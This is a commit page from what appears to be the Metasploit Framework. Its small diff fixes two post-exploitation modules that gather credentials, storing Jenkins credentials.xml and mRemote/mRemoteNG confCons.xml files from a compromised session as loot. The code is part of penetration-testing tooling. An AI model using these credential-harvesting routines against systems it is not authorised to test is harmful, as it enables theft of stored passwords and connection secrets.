Skip to content

Commit

Permalink
Land #10611, mRemote creds gather module fixes
Browse files Browse the repository at this point in the history
Also update #10612 to align with these changes.
  • Loading branch information
wvu authored and msjenkins-r7 committed Sep 10, 2018
1 parent 67e1742 commit 29b16e1
Show file tree
Hide file tree
Showing 2 changed files with 4 additions and 2 deletions.
2 changes: 1 addition & 1 deletion modules/post/multi/gather/jenkins_gather.rb
Expand Up @@ -53,7 +53,7 @@ def parse_credentialsxml(file)
if exists?(file)
f = read_file(file)
if datastore['STORE_LOOT']
loot_path = store_loot('jenkins.credentials', 'text/xml', session, f)
loot_path = store_loot('jenkins.creds', 'text/xml', session, f, file)
vprint_status("File credentials.xml saved to #{loot_path}")
end
else
Expand Down
4 changes: 3 additions & 1 deletion modules/post/windows/gather/credentials/mremote.rb
Expand Up @@ -39,7 +39,7 @@ def run
grab_user_profiles().each do |user|
next if user['LocalAppData'] == nil
tmpath = user['LocalAppData'] + '\\Felix_Deimel\\mRemote\\confCons.xml'
ng_path = user['LocalAppData'] + '\\..\\Roaming\\mRemoteNG\\confCons.xml'
ng_path = user['AppData'] + '\\mRemoteNG\\confCons.xml'
get_xml(tmpath)
get_xml(ng_path)
end
Expand All @@ -50,6 +50,8 @@ def get_xml(path)
begin
if file_exist?(path)
condata = read_file(path)
loot_path = store_loot('mremote.creds', 'text/xml', session, condata, path)
vprint_good("confCons.xml saved to #{loot_path}")
parse_xml(condata)
print_status("Finished processing #{path}")
end
Expand Down

0 comments on commit 29b16e1

Please sign in to comment.